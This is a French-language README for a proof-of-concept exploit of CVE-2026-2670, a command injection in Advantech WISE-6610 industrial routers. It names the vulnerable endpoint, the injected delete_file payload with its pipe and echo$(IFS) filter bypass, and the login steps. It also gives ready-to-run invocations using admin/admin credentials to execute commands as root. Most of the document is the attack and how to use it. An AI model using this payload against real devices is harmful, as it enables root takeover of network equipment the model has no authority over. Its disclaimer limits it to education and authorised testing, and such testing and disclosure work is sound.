
Preuve de concept d'exploitation pour CVE-2026-2670, une vulnérabilité d'injection de commandes dans les routeurs Advantech WISE-6610, permettant à des attaquants authentifiés d'exécuter des commandes arbitraires avec les privilèges root.
Preuve de concept d'exploitation démontrant une vulnérabilité d'injection de commandes dans le routeur cellulaire industriel Advantech WISE-6610.
La vulnérabilité existe dans le point de terminaison /cgi-bin/luci/admin/openvpn_apply et permet à un attaquant authentifié d'exécuter des commandes système arbitraires.
L'interface web du WISE-6610 ne désinfecte pas correctement le paramètre delete_file lors du traitement des suppressions de configurations OpenVPN.
Un attaquant disposant d'identifiants valides peut injecter des commandes shell à l'aide d'un tube (|) suivi d'une commande et d'une séquence de terminaison echo$(IFS) pour contourner le filtrage des entrées.
Les commandes injectées sont exécutées avec les privilèges root.
requestsInstaller les dépendances :
pip install requests
Option Description
--target URL de base de l'appareil (par exemple, http://192.168.1.100:8444)
--cmd Commande à exécuter. Doit écrire la sortie dans un fichier situé dans la racine web (par exemple, id > output.txt)
--output Chemin web du fichier de sortie (par exemple, /output.txt). Doit correspondre au nom de fichier utilisé dans --cmd
--cookie (Facultatif) Valeur existante du cookie de session sysauth
--username (Facultatif) Nom d'utilisateur pour la connexion
--password (Facultatif) Mot de passe pour la connexion
--delay Secondes d'attente avant de récupérer la sortie (par défaut : 2)
--debug Active la journalisation détaillée des requêtes/réponses
Le script prend en charge deux méthodes d'authentification :
Fournir un cookie de session sysauth existant
Se connecter avec un nom d'utilisateur et un mot de passe
Syntaxe de base
python3 exploit.py --target <URL> --cmd <COMMANDE> --output <CHEMIN_SORTIE> \
[--cookie <COOKIE_SYS> | --username <UTILISATEUR> --password <MOT_DE_PASSE>] \
[--delay <SECONDES>] [--debug]
1️⃣ Utilisation d'un cookie pré-authentifié
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ Connexion avec des identifiants
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ Avec sortie de débogage
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
Une requête GET est envoyée à /cgi-bin/luci/ pour obtenir le cookie luci_nonce requis pour l'authentification.
Si des identifiants sont fournis, le script envoie une requête POST à /cgi-bin/luci/ avec luci_username et luci_password pour obtenir un cookie sysauth.
Si un cookie valide est fourni via --cookie, cette étape est ignorée.
Une requête POST est envoyée à :
/cgi-bin/luci/admin/openvpn_apply
Avec les paramètres suivants :
act=delete
delete_file=123123|<commande> echo$(IFS)
openvpn_id=1
La séquence echo$(IFS) aide à terminer la commande injectée et à contourner les filtres d'entrée.
Après un court délai, le script tente de récupérer le fichier généré à partir du chemin --output spécifié.
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement.
Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous ne disposez pas d'une autorisation explicite de test est illégale.
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.